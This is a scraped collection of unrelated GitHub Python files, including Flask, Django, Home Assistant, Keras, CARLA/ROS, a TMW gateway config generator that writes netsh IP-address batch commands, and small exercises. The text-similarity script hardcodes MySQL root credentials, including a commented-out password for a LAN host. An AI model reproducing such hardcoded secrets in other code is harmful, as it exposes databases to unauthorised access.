True\n","repo_name":"valentina-zhekova/Hack-Bulgaria-Programming-101","sub_path":"week5/part 2/make_reservation.py","file_name":"make_reservation.py","file_ext":"py","file_size_in_byte":5028,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"5745055829","text":"from flask import Flask, request, jsonify\nfrom Models.CustomerModel import *\nfrom Models.EmployeeModel import *\n\n# pip install flask-mysqldb\n# pip install Flask-MongoAlchemy\n# pip install Flask-PyMongo\n\napp = Flask(__name__)\n\n\n@app.route('/posts/')\ndef get_post():\n    # page = request.args.get('page', 1, type=int)\n    json = {\n        'name': 'Kapil',\n        'age': '20',\n        'city': 'Bangalore',\n        'state': 'Karnataka',\n        'address': {\n            'street': '6',\n            'tahseel': 'Tundala'\n        }\n    }\n    return jsonify(json)\n\n\n@app.route('/person')\ndef getPerson():\n    person = gettingPerson()\n    return person\n\n\n@app.route('/custom_person/<name>/<age>/<id>')\ndef getCustomPerson(name, age, id):\n    person = gettingCustPerson(name, age, id)\n    return person\n\n@app.route('/my_cust', method = ['POST','GET'])\ndef cust_post_request():\n    if request.method == 'POST':\n        print(request.is_json)\n        print('Lol1')\n        content = request.get_json()\n        response = generate_response(content)\n        return response\n\napp.run(debug=True)\n","repo_name":"kapil90k/FlaskPractice","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"7171554765","text":"\"\"\"The EUC Logs integration.\"\"\"\nimport asyncio\n\nimport voluptuous as vol\nfrom yarl import URL\n\nfrom homeassistant.core import HomeAssistant\nfrom homeassistant.const import CONF_CLIENT_ID, CONF_CLIENT_SECRET\nfrom homeassistant.helpers import (\n    config_validation as cv,\n    config_entry_oauth2_flow,\n)\nfrom homeassistant.config_entries import ConfigEntry\n\nfrom .const import DOMAIN, OAUTH2_AUTHORIZE, OAUTH2_TOKEN\nfrom . import config_flow\nfrom . import api\n\nCONFIG_SCHEMA = vol.Schema(\n    {\n        DOMAIN: vol.Schema(\n            {\n                vol.Required(CONF_CLIENT_ID): cv.string,\n                vol.Required(CONF_CLIENT_SECRET): cv.string,\n            }\n        )\n    },\n    extra=vol.ALLOW_EXTRA,\n)\n\n# TODO List the platforms that you want to support.\n# For your initial PR, limit it to 1 platform.\nPLATFORMS = [\"sensor\"]\n\n\nclass MyOAuth2Implementation(config_entry_oauth2_flow.LocalOAuth2Implementation):\n    async def async_generate_authorize_url(self, flow_id: str):\n        \"\"\"Generate a url for the user to authorize.\"\"\"\n        return str(\n            URL(self.authorize_url).with_query(\n                {\n                    \"response_type\": \"code\",\n                    \"client_id\": self.client_id,\n                    \"redirect_uri\": self.redirect_uri,\n                    \"state\": config_entry_oauth2_flow._encode_jwt(self.hass, {\"flow_id\": flow_id}),\n                    \"scope\": \"https://www.googleapis.com/auth/drive\",\n                    \"prompt\": \"consent\",\n                    \"access_type\": \"offline\",\n                }\n            )\n        )\n\n\nasync def async_setup(hass: HomeAssistant, config: dict):\n    \"\"\"Set up the EUC Logs component.\"\"\"\n    hass.data[DOMAIN] = {}\n\n    if DOMAIN not in config:\n        return True\n\n    config_flow.OAuth2FlowHandler.async_register_implementation(\n        hass,\n        MyOAuth2Implementation(\n            hass,\n            DOMAIN,\n            config[DOMAIN][CONF_CLIENT_ID],\n            config[DOMAIN][CONF_CLIENT_SECRET],\n            OAUTH2_AUTHORIZE,\n            OAUTH2_TOKEN,\n        ),\n    )\n\n    return True\n\n\nasync def async_setup_entry(hass: HomeAssistant, entry: ConfigEntry):\n    \"\"\"Set up EUC Logs from a config entry.\"\"\"\n    # Backwards compat\n    if \"auth_implementation\" not in entry.data:\n        hass.config_entries.async_update_entry(\n            entry, data={**entry.data, \"auth_implementation\": DOMAIN}\n        )\n\n    implementation = await config_entry_oauth2_flow.async_get_config_entry_implementation(\n        hass, entry\n    )\n\n    api_instance = api.ConfigEntryAPI(hass, entry, implementation)\n    hass.data[DOMAIN][\"API\"] = api_instance\n\n    hass.loop.create_task(api_instance.async_run())\n    return True\n\n\nasync def async_unload_entry(hass: HomeAssistant, entry: ConfigEntry):\n    \"\"\"Unload a config entry.\"\"\"\n    unload_ok = all(\n        await asyncio.gather(\n            *[\n                hass.config_entries.async_forward_entry_unload(entry, component)\n                for component in PLATFORMS\n            ]\n        )\n    )\n    if unload_ok:\n        hass.data[DOMAIN].pop(entry.entry_id)\n\n    return unload_ok\n","repo_name":"mrk-its/homeassistant-euc-logs","sub_path":"euc_logs/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3115,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"19215209312","text":"from cities.views import city_list, city_info, city_create, city_edit, city_delete\nfrom django.urls import path\n\nurlpatterns = [\n    path('list/', city_list, name='city_list'),\n    path('create/', city_create, name='city_create'),\n    path('edit/<int:city_id>/', city_edit, name='city_edit'),\n    path('delete/<int:city_id>/', city_delete, name='city_delete'),\n    path('detail/<int:city_id>/', city_info, name='city_info'),\n]\n","repo_name":"MichaelDerendyaev/BackEnd-11","sub_path":"HomeWork_4/economics/cities/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"23632668010","text":"\nimport tensorflow as tf\nfrom keras.layers import Input, Conv2D, MaxPooling2D, UpSampling2D, Activation\nfrom keras.layers import merge, BatchNormalization, Subtract\nfrom keras.models import Model\n\n\ndef CONV2D(x, filter_num, kernel_size, activation='relu', **kwargs):\n    x = Conv2D(filter_num, kernel_size, padding='same')(x)\n    x = BatchNormalization(axis=3)(x)\n    if activation=='relu': \n        x = Activation('relu', **kwargs)(x)\n    elif activation=='sigmoid': \n        x = Activation('sigmoid', **kwargs)(x)\n    else:\n        x = Activation('softmax', **kwargs)(x)\n    return x\n\n\ndef OurNet(shape, classes=1):\n    inputs = Input(shape)\n    conv0 = BatchNormalization()(inputs)\n\n    conv0 = CONV2D(conv0, 32, (3, 3))\n    conv1 = CONV2D(conv0, 32, (3, 3)); edge1 = Subtract()([conv0, conv1]); conv1 = CONV2D(merge([conv1, edge1], mode='concat', concat_axis=3), 32, (3, 3));\n    pool1 = MaxPooling2D(pool_size=(2, 2))(conv1) \n\n    conv0 = CONV2D(pool1, 64, (3, 3))\n    conv2 = CONV2D(conv0, 64, (3, 3)); edge2 = Subtract()([conv0, conv2]); conv2 = CONV2D(merge([conv2, edge2], mode='concat', concat_axis=3), 64, (3, 3));\n    pool2 = MaxPooling2D(pool_size=(2, 2))(conv2) \n\n    conv0 = CONV2D(pool2, 128, (3, 3))\n    conv3 = CONV2D(conv0, 128, (3, 3)); edge3 = Subtract()([conv0, conv3]); conv3 = CONV2D(merge([conv3, edge3], mode='concat', concat_axis=3), 128, (3, 3));\n    pool3 = MaxPooling2D(pool_size=(2, 2))(conv3) \n\n    conv0 = CONV2D(pool3, 256, (3, 3))\n    conv4 = CONV2D(conv0, 256, (3, 3)); edge4 = Subtract()([conv0, conv4]); conv4 = CONV2D(merge([conv4, edge4], mode='concat', concat_axis=3), 256, (3, 3));\n    pool4 = MaxPooling2D(pool_size=(2, 2))(conv4) \n\n    conv0 = CONV2D(pool4, 512, (3, 3))\n    conv5 = CONV2D(conv0, 512, (3, 3)); edge5 = Subtract()([conv0, conv5]); conv5 = CONV2D(merge([conv5, edge5], mode='concat', concat_axis=3), 512, (3, 3));\n    pool5 = MaxPooling2D(pool_size=(2, 2))(conv5) \n\n    #=============================================\n    conv0 = CONV2D(pool5, 512, (3, 3))\n    conv6 = CONV2D(conv0, 512, (3, 3)); edge6 = Subtract()([conv0, conv6]); conv6 = CONV2D(merge([conv6, edge6], mode='concat', concat_axis=3), 512, (3, 3));\n\n    #=============================================\n    # for boundary extraction\n    #=============================================\n\n    up1 = UpSampling2D(size=(2, 2))(edge6)\n    merg1 = merge([up1, edge5], mode='concat', concat_axis=3) \n    conv0 = CONV2D(merg1, 256, (3, 3))\n    conv7 = CONV2D(conv0, 256, (3, 3)); edge7 = Subtract()([conv0, conv7]);\n\n    up1 = UpSampling2D(size=(2, 2))(edge7)\n    merg1 = merge([up1, edge4], mode='concat', concat_axis=3) \n    conv0 = CONV2D(merg1, 128, (3, 3))\n    conv8 = CONV2D(conv0, 128, (3, 3)); edge8 = Subtract()([conv0, conv8]);\n    \n    up1 = UpSampling2D(size=(2, 2))(edge8)\n    merg1 = merge([up1, edge3], mode='concat', concat_axis=3) \n    conv0 = CONV2D(merg1, 64, (3, 3))\n    conv9 = CONV2D(conv0, 64, (3, 3)); edge9 = Subtract()([conv0, conv9]);\n\n    up1 = UpSampling2D(size=(2, 2))(edge9)\n    merg1 = merge([up1, edge2], mode='concat', concat_axis=3) \n    conv0 = CONV2D(merg1, 32, (3, 3))\n    conv10 = CONV2D(conv0, 32, (3, 3)); edge10 = Subtract()([conv0, conv10]);\n    \n    up1 = UpSampling2D(size=(2, 2))(edge10)\n    merg1 = merge([up1, edge1], mode='concat', concat_axis=3) \n\n    conv0 = CONV2D(merg1, 32, (3, 3))\n    conv11 = CONV2D(conv0, 32, (3, 3)); edge11 = Subtract()([conv0, conv11]);\n    Boundary = CONV2D(edge11, classes, (1, 1), activation='sigmoid')\n    \n    #=============================================\n    # for object extraction\n    #=============================================\n    up1 = UpSampling2D(size=(2, 2))(conv6)\n    merg1 = merge([up1, conv5, edge5, edge7], mode='concat', concat_axis=3) \n    conv0 = CONV2D(merg1, 256, (3, 3))\n    conv7 = CONV2D(conv0, 256, (3, 3)); edge7 = Subtract()([conv0, conv7]); conv7 = CONV2D(merge([conv7, edge7], mode='concat', concat_axis=3), 256, (3, 3));\n\n    up1 = UpSampling2D(size=(2, 2))(conv7)\n    merg1 = merge([up1, conv4, edge4, edge8], mode='concat', concat_axis=3) \n    conv0 = CONV2D(merg1, 128, (3, 3))\n    conv8 = CONV2D(conv0, 128, (3, 3)); edge8 = Subtract()([conv0, conv8]); conv8 = CONV2D(merge([conv8, edge8], mode='concat', concat_axis=3), 128, (3, 3));\n    \n    up1 = UpSampling2D(size=(2, 2))(conv8)\n    merg1 = merge([up1, conv3, edge3, edge9], mode='concat', concat_axis=3) \n    conv0 = CONV2D(merg1, 64, (3, 3))\n    conv9 = CONV2D(conv0, 64, (3, 3)); edge9 = Subtract()([conv0, conv9]); conv9 = CONV2D(merge([conv9, edge9], mode='concat', concat_axis=3), 64, (3, 3));\n    \n    up1 = UpSampling2D(size=(2, 2))(conv9)\n    merg1 = merge([up1, conv2, edge2, edge10], mode='concat', concat_axis=3) \n    conv0 = CONV2D(merg1, 32, (3, 3))\n    conv10 = CONV2D(conv0, 32, (3, 3)); edge10 = Subtract()([conv0, conv10]); conv10 = CONV2D(merge([conv10, edge10], mode='concat', concat_axis=3), 32, (3, 3));\n    \n    up1 = UpSampling2D(size=(2, 2))(conv10)\n    merg1 = merge([up1, conv1, edge1, edge11], mode='concat', concat_axis=3) \n    conv0 = CONV2D(merg1, 32, (3, 3))\n    conv11 = CONV2D(conv0, 32, (3, 3)); edge11 = Subtract()([conv0, conv11]); conv11 = CONV2D(merge([conv11, edge11], mode='concat', concat_axis=3), 32, (3, 3));\n    \n    Object = CONV2D(conv11, classes, (1, 1), activation='sigmoid')\n\n    model = Model(input=inputs, output=[Object, Boundary])\n    model.summary() \n    return model\n\n\n\n","repo_name":"wmuLei/CornealSegmentation","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5410,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"51"}
+{"seq_id":"71591958878","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Dec 24 21:27:05 2018\n\n@author: HP\n\"\"\"\n\n\nimport re  \nimport jieba  \nimport math \nimport pandas as pd    \nimport pymysql\n\n\n#np.set_printoptions(threshold = 1e6)#设置打印数量的阈值\npd.set_option('max_colwidth',2000)\n\n\ndef jieba_function(sent):\n    sent1 = jieba.cut(sent)\n    s = []\n    for each in sent1:\n        s.append(each)\n    return ' '.join(str(i) for i in s)\n\n\ndef count_cos_similarity(vec_1, vec_2):\n    if len(vec_1) != len(vec_2):\n        return 0\n\n    s = sum(vec_1[i] * vec_2[i] for i in range(len(vec_2)))\n    den1 = math.sqrt(sum([pow(number, 2) for number in vec_1]))\n    den2 = math.sqrt(sum([pow(number, 2) for number in vec_2]))\n    return s / (den1 * den2)\n\n\n#计算文本向量，传入文本,接受的是字符串\ndef tf(sent1, sent2):\n    from sklearn.feature_extraction.text import CountVectorizer\n\n    sent1 = jieba_function(sent1)\n    sent2 = jieba_function(sent2)\n    count_vec = CountVectorizer()\n\n    sentences = [sent1, sent2]\n\n    #转换成维度相同的\n    vec_1 = count_vec.fit_transform(sentences).toarray()[0]\n    vec_2 = count_vec.fit_transform(sentences).toarray()[1]\n\n\n\ndef tfidf(sent1, sent2):\n    from sklearn.feature_extraction.text import TfidfVectorizer\n\n    sent1 = jieba_function(sent1)\n    sent2 = jieba_function(sent2)\n\n    tfidf_vec = TfidfVectorizer()\n\n    sentences = [sent1, sent2]\n    vec_1 = tfidf_vec.fit_transform(sentences).toarray()[0]\n    vec_2 = tfidf_vec.fit_transform(sentences).toarray()[1]\n    return count_cos_similarity(vec_1, vec_2)\n\n\n\ndbconn=pymysql.connect(\n  # host=\"192.168.1.100\",\n  host=\"127.0.0.1\",\n  database=\"sub-health\",\n  user=\"root\",\n  # password=\"Zehuo@2019\",\n  password=\"123456\",\n  port=3306,\n  charset='utf8'\n )\n\n\n\n\nsqlcmd=\"select sy.id ID,'定义' dis_def, group_concat( cl.desc SEPARATOR ',' ) comp_lang, sy.symptom tcm_dis from core co left join comp_lang cl  on cl.core_id=co.id left join symptom sy on sy.id=co.symptom_id GROUP BY sy.id\"\n\ntex_dat=pd.read_sql(sqlcmd,dbconn)  #利用pandas 模块导入mysql数据\n\n\nrow_num=tex_dat.shape[0]\ncol_num=tex_dat.shape[1]\ndef simcal(sent1):\n    NewComplain=sent1\n    cos_vec=[]\n    for i in range(row_num):\n        adf=tex_dat.iloc[i,2].encode(\"utf-8\")\n        cal=tfidf(NewComplain, adf)\n        cal_id=[cal,i]\n        cos_vec.append(cal_id)\n    \n    cos_dat=pd.DataFrame(cos_vec)\n    maxsim=cos_dat[(cos_dat[0]==max(cos_dat[0]))]    #计算的最大相似度\n    sim_qst=tex_dat.iloc[maxsim[1],1]\n    link_vrb=tex_dat.iloc[maxsim[1],2]\n    recom_ans=tex_dat.iloc[maxsim[1],0]\n    ful_ans=recom_ans #+sim_qst+link_vrb\n    # print(\"答：\"+ful_ans.to_string(index=False))\n    # print(\"注：\"+sim_qst.to_string(index=False))\n    return ful_ans.to_string(index=False)\n\n","repo_name":"LorinHan/sub-health-back","sub_path":"flask_back_end/cal_sim.py","file_name":"cal_sim.py","file_ext":"py","file_size_in_byte":2750,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"27726686732","text":"import rospy\nimport cv2\nfrom cv_bridge import CvBridge\nfrom sensor_msgs.msg import Image\n \n\nimport glob\nimport os\nimport sys\n\ntry:\n    sys.path.append(glob.glob('../carla/dist/carla-*%d.%d-%s.egg' % (\n        sys.version_info.major,\n        sys.version_info.minor,\n        'win-amd64' if os.name == 'nt' else 'linux-x86_64'))[0])\nexcept IndexError:\n    pass\n\nimport carla\n\nimport random\nimport time\nimport numpy as np\nimport cv2\n\nIM_WIDTH = 640\nIM_HEIGHT = 480\n\nrospy.init_node(\"hi\")\nbridge = CvBridge()\npub = rospy.Publisher('image', Image, queue_size=10)\n\n\nfourcc = cv2.VideoWriter_fourcc(*'XVID');   #or fourcc = cv2.VideoWriter_fourcc('X','V','I','D');\nout = cv2.VideoWriter('output.avi',fourcc,20.0,(640,480));  \n\ndef process_img(image):\n    i = np.array(image.raw_data)\n    i2 = i.reshape((IM_HEIGHT, IM_WIDTH, 4))\n    i3 = i2[:, :, :3]\n\n    imgMsg = bridge.cv2_to_imgmsg(i3, \"bgr8\")\n    pub.publish(imgMsg)\n    print(\"published----------------\")\n    cv2.imshow(\"\", i3)\n    out.write(i3)\n    cv2.waitKey(1)\n    return i3/255.0\n\n\nactor_list = []\ntry:\n    client = carla.Client('localhost', 2000)\n    client.set_timeout(2.0)\n\n    world = client.get_world()\n\n    blueprint_library = world.get_blueprint_library()\n\n    bp = blueprint_library.filter('model3')[0]\n    print(bp)\n\n    spawn_point = random.choice(world.get_map().get_spawn_points())\n\n    vehicle = world.spawn_actor(bp, spawn_point)\n    # vehicle.apply_control(carla.VehicleControl(throttle=1.0, steer=0.0))\n    vehicle.set_autopilot(True)  # if you just wanted some NPCs to drive.\n\n    actor_list.append(vehicle)\n\n    # https://carla.readthedocs.io/en/latest/cameras_and_sensors\n    # get the blueprint for this sensor\n    blueprint = blueprint_library.find('sensor.camera.rgb')\n    # change the dimensions of the image\n    blueprint.set_attribute('image_size_x', str(IM_WIDTH))\n    blueprint.set_attribute('image_size_y', str(IM_HEIGHT))\n    blueprint.set_attribute('fov', '110')\n\n    # Adjust sensor relative to vehicle\n    spawn_point = carla.Transform(carla.Location(x=2.5, z=0.7))\n\n    # spawn the sensor and attach to vehicle.\n    sensor = world.spawn_actor(blueprint, spawn_point, attach_to=vehicle)\n\n    # add sensor to list of actors\n    actor_list.append(sensor)\n\n    # do something with this sensor\n    sensor.listen(lambda data: process_img(data))\n    \n\n    time.sleep(300)\n    out.release()\n\nfinally:\n    print('destroying actors')\n    for actor in actor_list:\n        actor.destroy()\n    print('done.')\n\n","repo_name":"tejalbarnwal/SOC_2021_tejal","sub_path":"carla/teju2.py","file_name":"teju2.py","file_ext":"py","file_size_in_byte":2483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"11155436570","text":"# Author: Peter Kim\r\n# Date Created: 2/8/2019\r\n# This script will...\r\n# -Write the TMW ini file\r\n# -Write the AddIP.bat file\r\n# BEFORE RUNNING THE SCRIPT\r\n# 1. Create a folder called \"Assets\" in the same directory as the python file (Skip if Assets folder is created already)\r\n# 2. Within the \"Assets\" folder, make sure the follow files are inside\r\n#   a. AvailableIPs.txt\r\n#   b. der_locations.csv\r\n#   c. DONTTOUCH.ini\r\n#   d. DOTOUCH.ini\r\n#   e. READIP.bat\r\n\r\nimport re\r\n\r\nassetsdir = 'C:/Users/kimp1/OneDrive - Edison International/10000DER to Camden/TMW/Assets/' #change this to match the path with the files above\r\n\r\ndef populatednp3():\r\n    with open(assetsdir + 'der_locations.csv', 'r') as file:\r\n        return [line.split(',')[1] for line in file if not line.split(',')[1].startswith('AGG')]\r\n\r\ndef populate20305():\r\n    with open(assetsdir + 'der_locations.csv', 'r') as file:\r\n        return [line.split(',')[1] for line in file if line.split(',')[1].startswith('AGG')]\r\n    \r\ndef populateIPs(numIP, numDNP3, numAGG):\r\n    retList = []\r\n    with open(assetsdir + 'AvailableIPs.txt', 'r') as file:\r\n        for line in file:\r\n            if len(retList) == numIP:\r\n                break\r\n            if len(retList) == numDNP3 + 1:\r\n                for i in range(numAGG):\r\n                    retList.append(line.replace('\\n',''))\r\n                return retList\r\n            else:\r\n                retList.append(line.replace('\\n',''))\r\n    return retList\r\n\r\ndef populateChannelNames(DNP3List, AGGList):\r\n    retList = []\r\n    #DNP3\r\n    if len(DNP3List) == 1:\r\n        retList.append('DNP3_DERs')\r\n    else:\r\n        for i in range(len(DNP3List)):\r\n            retList.append(DNP3List[i])\r\n    #Monitoring Points\r\n    retList.append('MonitoringPoints')\r\n    #2030.5\r\n    if len(AGGList) == 1:\r\n        retList.append('IEEE_DERs')\r\n    else:\r\n        for i in range(len(AGGList)):\r\n            retList.append(AGGList[i])\r\n    return retList\r\n\r\n########################################################################################################################\r\n#Start of running code\r\n\r\nDNP3_List = populatednp3()\r\nAGG_List = populate20305()\r\nDNP3ChannelCount = len(DNP3_List)\r\nDNP3SessPerChan = 1\r\nMPChannelCount = 1\r\nAGGChannelCount = len(AGG_List)\r\nAGGSessPerChan = 1\r\n\r\nIPAddress = populateIPs(DNP3ChannelCount + MPChannelCount + AGGChannelCount, DNP3ChannelCount, AGGChannelCount)\r\nChannelAlias = populateChannelNames(DNP3_List, AGG_List)\r\n\r\nwriteINI = []\r\nwriteBatch = []\r\n\r\nwith open(assetsdir + 'DONTTOUCH.ini', mode='r') as file:\r\n    for line in file:\r\n        writeINI.append(line)\r\n\r\ncomIPRead = comIPPortRead = comNameRead = sessionRead = sessNameRead = sessLinkAddrRead = sessLocalAddrRead = False\r\n\r\nwith open(assetsdir + 'DOTOUCH.ini', 'r') as file:\r\n    for line in file:\r\n        # Do stuff here\r\n        if 'PhysComLocalIpAddress' in line:\r\n            if comIPRead:\r\n                continue\r\n            for i in range(0, len(IPAddress)):\r\n                writeINI.append('PhysComLocalIpAddress[  ' + str(i) + ']=' + IPAddress[i] + '\\n')\r\n            comIPRead = True\r\n        elif 'PhysComIpPort' in line:\r\n            if comIPPortRead:\r\n                continue\r\n            #DNP3 DERs and MP\r\n            writeINI.append('PhysComIpPort[0-' + str(DNP3ChannelCount + MPChannelCount - 1) +']=' + str(20000) + '\\n')\r\n            #IEEE 2030.5\r\n            for i in range(0, AGGChannelCount):\r\n                writeINI.append('PhysComIpPort[' + str(DNP3ChannelCount + MPChannelCount + i) +']=' + str(2000 + i) + '\\n')\r\n            comIPPortRead = True\r\n        elif 'PhysComChnlName' in line:\r\n            if comNameRead:\r\n                continue\r\n            for i in range(0, len(ChannelAlias)):\r\n                writeINI.append('PhysComChnlName[  ' + str(i) + ']=' + ChannelAlias[i] + '\\n')\r\n            comNameRead = True\r\n        elif 'SessionCommIndex' in line:\r\n            if sessionRead:\r\n                continue\r\n            #DNP3\r\n            for i in range(0, DNP3ChannelCount):\r\n                for j in range(0, DNP3SessPerChan):\r\n                    writeINI.append('SessionCommIndex[  ' + str(i*DNP3SessPerChan + j) + ']='\r\n                                + str(i) + '\\n')\r\n            #MP\r\n            for i in range(0, MPChannelCount):\r\n                writeINI.append('SessionCommIndex[  ' + str(DNP3ChannelCount*DNP3SessPerChan + i) + ']=' + str(i + DNP3ChannelCount) + '\\n')\r\n            #IEEE 2030.5\r\n            for i in range(0, AGGChannelCount):\r\n                for j in range(0, AGGSessPerChan):\r\n                    writeINI.append('SessionCommIndex[  ' + str((DNP3ChannelCount*DNP3SessPerChan + MPChannelCount) + i*AGGSessPerChan + j) + ']='\r\n                                    + str(i + DNP3ChannelCount + MPChannelCount) + '\\n')\r\n            sessionRead = True\r\n        elif 'SessionName' in line and not sessNameRead:\r\n            if sessNameRead:\r\n                continue\r\n            #DNP3\r\n            for i in range(0, DNP3ChannelCount):\r\n                for j in range(0, DNP3SessPerChan):\r\n                    writeINI.append('SessionName[' +str(i*DNP3SessPerChan + j) +\r\n                                    ']=L' + str(j+1) + '\\n')\r\n            #MP\r\n            for i in range(0, MPChannelCount): \r\n                writeINI.append('SessionName[' +str(DNP3ChannelCount*DNP3SessPerChan + i) + ']=L1\\n')\r\n            #IEEE 2030.5\r\n            for i in range(0, AGGChannelCount):\r\n                for j in range(0, AGGSessPerChan):\r\n                    writeINI.append('SessionName[  ' + str((DNP3ChannelCount*DNP3SessPerChan + MPChannelCount) + i*AGGSessPerChan + j)\r\n                                    + ']=L' + str(j+1) + '\\n')\r\n            sessNameRead = True\r\n        elif 'SessionLinkAddress' in line:\r\n            if sessLinkAddrRead:\r\n                continue\r\n            writeINI.append('SessionLinkAddress[0-' + str(DNP3ChannelCount*DNP3SessPerChan + MPChannelCount + AGGChannelCount*AGGSessPerChan - 1) + ']=1' + '\\n')\r\n            sessLinkAddrRead = True\r\n        elif 'SessionLocalAddress' in line:\r\n            if sessLocalAddrRead:\r\n                continue\r\n            writeINI.append('SessionLocalAddress[0-' + str(DNP3ChannelCount*DNP3SessPerChan + MPChannelCount - 1) + ']=21' + '\\n')\r\n            writeINI.append('SessionLocalAddress['  + str(DNP3ChannelCount*DNP3SessPerChan + MPChannelCount) + '-'\r\n                                                    + str(DNP3ChannelCount*DNP3SessPerChan + MPChannelCount + AGGChannelCount*AGGSessPerChan - 1) + ']=3' + '\\n')\r\n            sessLocalAddrRead = True\r\n        elif 'SessionOutgoingTimeZoneIgnoreDST' in line or 'SessionOutgoingTimeZoneIndex' in line or 'DNPEnableSecureAuthentication' in line or 'DNPTcpLinkStatusPeriod' in line:\r\n            writeINI.append(re.sub('\\[.*\\]', '[0-' + str(DNP3ChannelCount*DNP3SessPerChan + MPChannelCount + AGGChannelCount*AGGSessPerChan - 1) + ']', line))\r\n        # DbasSectorAddress\r\n        elif 'DbasSectorAddress' in line:\r\n            continue\r\n        # I14AuthEnable\r\n        elif 'I14AuthEnable' in line:\r\n            continue\r\n        # DERs\r\n        elif '0- 10' in line:\r\n            writeINI.append(    line.replace('0- 10', '0- ' + str(len(IPAddress) - 1))  )\r\n        elif '[  0]' in line:\r\n            continue\r\n        # DNP3\r\n        elif '1-' in line:\r\n            writeINI.append(line.replace(re.search('1.+\\]', line).group(0), '0-  ' + str(DNP3ChannelCount + MPChannelCount - 1) + ']'))\r\n        # IEEE 2030.5\r\n        elif '6-' in line:\r\n            writeINI.append(line.replace(re.search('6.+\\]', line).group(0), str(DNP3ChannelCount+MPChannelCount) + '-  '+str(len(IPAddress)-1) + ']'))\r\n\r\n# Create a Batch File called AddIP.bat that corresponds to the IPs used to make the ini file\r\nwith open(assetsdir + 'READIP.bat', 'r') as file:\r\n    for line in file:\r\n        if 'REM List of IP addresses to be added' in line:\r\n            writeBatch.append(line)\r\n            for i in range(0, len(IPAddress)):\r\n                writeBatch.append('set invIP' + str(i) + '=\"' + IPAddress[i] + '\"\\n')\r\n        elif 'set invIP' in line:\r\n            continue\r\n        elif 'if %2==add (' in line:\r\n            writeBatch.append(line)\r\n            for i in range(0, len(IPAddress)):\r\n                writeBatch.append('        netsh interface ipv4 add address %1 %invIP' + str(i) + '% %subMask%\\n')\r\n        elif 'netsh interface ipv4' in line:\r\n            continue\r\n        elif 'if %2==del (' in line:\r\n            writeBatch.append(line)\r\n            for i in range(0, len(IPAddress)):\r\n                writeBatch.append('        netsh interface ipv4 del address %1 %invIP' + str(i) + '% %subMask%\\n')\r\n        else:\r\n            writeBatch.append(line)\r\n\r\n# Write the ini and batch file\r\nwith open('C:/Users/kimp1/OneDrive - Edison International/10000DER to Camden/TMW/tmwgtway.ini', 'w') as writefile:\r\n    writefile.writelines(writeINI)\r\nwith open('C:/Users/kimp1/OneDrive - Edison International/10000DER to Camden/TMW/AddIP.bat', 'w') as writefile:\r\n    writefile.writelines(writeBatch)\r\n","repo_name":"peterkim0226/SCE-Python-Scripts","sub_path":"TMW_INI.py","file_name":"TMW_INI.py","file_ext":"py","file_size_in_byte":9089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"2734571923","text":"str = input(\"Enter a string:\")\n\nsub = input(\"Enter a sub-string:\")\n\nn = int(input(\"Enter the position where the sub-string need to placed:\"))\n\nn -= 1\n\nl1 = len(str)\n\nl2 = len(sub)\n\nstr1 = []\n\nfor i in range(n):\n    str1.append(str[i])\n\nfor i in range(l2):\n    str1.append(sub[i])\n\nfor i in range(n, l1):\n    str1.append(str[i])\n\nstr1 = ''.join(str1)\n\nprint(str1) ","repo_name":"orvil1026/100DaysOfCode","sub_path":"Day 44/string_datatype.py","file_name":"string_datatype.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"29496526500","text":"T = [[2, 3, 2], [0, 2, 5], [1, 0, 1]]\nfor r in T:\n    for c in r:\n        print(c,end = \" \")\n    print()\n\ndef solve(a): \n    x = [0]*len(a)\n    t=0\n    for k in range(len(a)):\n        i = k;\n        j = 0;\n        while i >= 0:\n            #print(a[i][j])\n            x[t]+=a[i][j]\n            i=i-1\n            j=j+1\n        t+=1\n    t=len(a)-1\n    for k in range(len(a)):\n        #print(k)\n        i = k;\n        j = len(a)-1;\n        while j >= 0 and i-1 >= 0:\n            #print(a[i][j])\n            x[t]+=a[i][j]\n            i=i-1\n            j=j-1\n        t-=1\n    relatedArray = []\n    for index, value in enumerate(x):\n        relatedArray.append((value, a[index][0]))\n\n    relatedArray.sort()\n    outputArray = []\n    for a, b in relatedArray:\n        outputArray.append(b)\n    print(outputArray)\n\nsolve(T)\n","repo_name":"samkitsheth95/InterviewPrep","sub_path":"com/Miscellaneous/taddArray.py","file_name":"taddArray.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
